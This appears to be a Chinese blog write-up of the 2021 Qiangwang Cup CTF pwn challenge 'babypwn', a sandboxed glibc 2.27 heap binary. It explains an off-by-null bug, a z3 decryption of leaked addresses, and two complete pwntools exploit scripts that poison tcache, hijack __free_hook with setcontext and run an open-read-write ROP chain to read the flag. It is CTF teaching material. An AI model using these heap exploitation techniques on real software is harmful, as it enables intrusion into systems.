2021强网杯 pwn babypwn

在这里插入图片描述
libc是2.27的。

在这里插入图片描述
保护全开。

在这里插入图片描述还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。

在这里插入图片描述
经典增删改查。

add
在这里插入图片描述
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。

delete
在这里插入图片描述清理的很干净。

edit

在这里插入图片描述edit也看着没啥,里面有个函数,进去看看。

在这里插入图片描述会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。

show
在这里插入图片描述输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。

在这里插入图片描述加密的,好家伙。
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。

最后发现有个工具,z3.
在这里插入图片描述这些chunk都是因为沙箱提前开的一些。

总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。

off by null我们还是有两种思路,一种是unlink,一种是off by null。

unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。

都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来

我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。

这个是利用setcontext的对比图。
在这里插入图片描述
从这个地方开始就开始利用堆上提前写好的内容。
在这里插入图片描述
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
在这里插入图片描述
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"

p = process("./babypwn")

elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size):
	p.recvuntil('>>>')
	p.sendline('1')
	p.recvuntil('size')
	p.sendline(str(size))

def edit(idx,content):
	p.recvuntil('>>>')
	p.sendline('3')
	p.recvuntil('index')
	p.sendline(str(idx))
	p.recvuntil('content')
	p.send(content)

def dele(idx):
	p.recvuntil('>>>')
	p.sendline('2')
	p.recvuntil('index')
	p.sendline(str(idx))	

def show(idx):
	p.recvuntil('>>>')
	p.sendline('4')
	p.recvuntil("index:\n")
	p.sendline(str(idx))

def decrypt(target):
        a = BitVec('a', 32)
        x = a
        for _ in range(2):
                x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
        s = Solver()
        s.add(x == target)
        if s.check() == sat:
                return (s.model()[a].as_long())

add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)

for i in range(8):
	add(0xf0)

dele(1)
dele(7)
dele(2)

edit(8,p64(free_hook)+'\n')
add(0xf0)
add(0xf0)
add(0xf0)#7 free hook
edit(7,p64(set_context + 53)+'\n')

pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap,         #r8
0x30:pop_rdx,      #r9
0x38:0x100,  
0x40:read_addr,
0x48:pop_rdi,      #r12
0x50:heap,         #r13
0x58:puts_addr,    #r14
0x68:heap - 0x10,  #rdi       先执行这块然后再跑到上面按顺序来
0x70:0,            #rsi
0x88:0,            #rdx
0xa0:heap - 208,   #rsp
0xa8:pop_rax,      #rcx   push rcx
0xc0:'./flag\x00'
	},word_size=64)

# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点

#gdb.attach(p)

edit(6,buf+'\n')
dele(6)

p.interactive()

第二种

大体就还是我们的老套路,先泄露libc地址,然后ABCD四个chunk,因为被off by null的chunk的size会变,所以还是利用D来在C中伪造chunk,从而方便我们free,绕过free时候的check。

剩下的乱七八糟的都跟上面一样。

exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"

p = process("./babypwn")

elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size):
	p.recvuntil('>>>')
	p.sendline('1')
	p.recvuntil('size')
	p.sendline(str(size))

def edit(idx,content):
	p.recvuntil('>>>')
	p.sendline('3')
	p.recvuntil('index')
	p.sendline(str(idx))
	p.recvuntil('content')
	p.send(content)

def dele(idx):
	p.recvuntil('>>>')
	p.sendline('2')
	p.recvuntil('index')
	p.sendline(str(idx))	

def show(idx):
	p.recvuntil('>>>')
	p.sendline('4')
	p.recvuntil("index:\n")
	p.sendline(str(idx))

def decrypt(target):
        a = BitVec('a', 32)
        x = a
        for _ in range(2):
                x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
        s = Solver()
        s.add(x == target)
        if s.check() == sat:
                return (s.model()[a].as_long())

add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6

for i in range(7):
    dele(i)

for i in range(10):
    add(0x108)

add(0x20) #11

for i in range(7):
    dele(i)

#7 8 9

edit(7, 'a' * 0x100 + p64(0x110))
dele(7)

edit(8, 'b' * 0x108)
edit(8, "c" * 0x100 + p64(0x220))
edit(9, "d" * 0xf8 + p64(0x41))

#gdb.attach(p)

dele(9)

for i in range(7):
    add(0x108)

add(0x108) #7
show(8)

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)

add(0x108) #9
dele(8)
edit(9,p64(free_hook)+'\n')

add(0x108) #8
add(0x108) #11
edit(11,p64(set_context + 53)+'\n')

pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

#gdb.attach(p)

buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap,         #r8
0x30:pop_rdx,      #r9
0x38:0x100,  
0x40:read_addr,
0x48:pop_rdi,      #r12
0x50:heap,         #r13
0x58:puts_addr,    #r14
0x68:heap + 0xe60, #rdi
0x70:0,            #rsi
0x88:0,            #rdx
0xa0:heap + 0xda0,   #rsp
0xa8:pop_rax,      #rcx   push rcx
0xc0:'./flag\x00'
	},word_size=64)

# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点

#gdb.attach(p)

edit(7,buf+'\n')
dele(7)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值